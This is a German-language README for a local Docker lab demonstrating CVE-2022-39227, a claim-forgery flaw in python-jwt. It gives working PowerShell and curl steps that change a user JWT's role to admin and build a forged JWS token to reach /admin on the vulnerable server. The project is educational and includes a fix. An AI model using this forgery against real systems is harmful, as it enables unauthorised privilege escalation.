
Dieses Projekt demonstriert die CVE-2022-39227-Schwachstelle in einer kontrollierten lokalen Laborumgebung. Diese Schwachstelle betrifft die Bibliothek python-jwt (Versionen < 3.3.4) und ermöglicht es einem Angreifer, JWT-Claims zu fälschen, ohne den geheimen Schlüssel zu kennen, indem eine Parsing-Inkonsistenz (JWS-Serialisierung) zwischen python-jwt und seiner Abhängigkeit jwcrypto ausgenutzt wird.
Das Projekt startet zwei identische Flask-Anwendungen mithilfe von Docker, die sich nur durch ihre Abhängigkeitsversionen unterscheiden:
python-jwt==3.3.3)python-jwt==3.3.4)Beide Anwendungen implementieren eine einfache rollenbasierte Zugriffskontrolle (RBAC). Ein regulärer Benutzer (alice) kann sich anmelden und ein JWT erhalten. Nur Benutzer mit der Rolle admin in ihrem JWT-Claim können auf den /admin-Endpunkt zugreifen.
1. Umgebung starten Stelle sicher, dass Docker Desktop läuft, und führe dann Folgendes aus:
docker-compose up -d --build
Dadurch werden sowohl der verwundbare als auch der gepatchte Server im Hintergrund gestartet.
Um den Angriff zu reproduzieren, führst du rohe HTTP-Anfragen und Payload-Manipulationen manuell in PowerShell aus. Dies zeigt, dass die Schwachstelle im Protokoll und in der Parsing-Logik der Bibliothek liegt und nicht in einem externen Werkzeug.
Schritt 1: Anmelden und ein gültiges Token erhalten
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Schritt 2: Das JWT in Komponenten aufteilen
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Schritt 3: Payload decodieren, Rolle ändern und als Base64Url neu codieren
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Schritt 4: Das bösartige JWS-Serialisierungsformat erstellen
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Schritt 5: Den Angriff gegen beide Server ausführen
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Aktualisiere python-jwt auf Version 3.3.4 oder neuer. Darüber hinaus sollten Anwendungen eine strenge Signaturvalidierung durchsetzen und die Integrität der Payload wann immer möglich direkt über die Logikschicht der Anwendung verifizieren.
Dieses Projekt wurde strikt in einer lokalen, kontrollierten Laborumgebung zu Bildungszwecken durchgeführt. Es wurden keine Systeme Dritter, öffentliche Dienste oder echte Benutzerkonten angegriffen.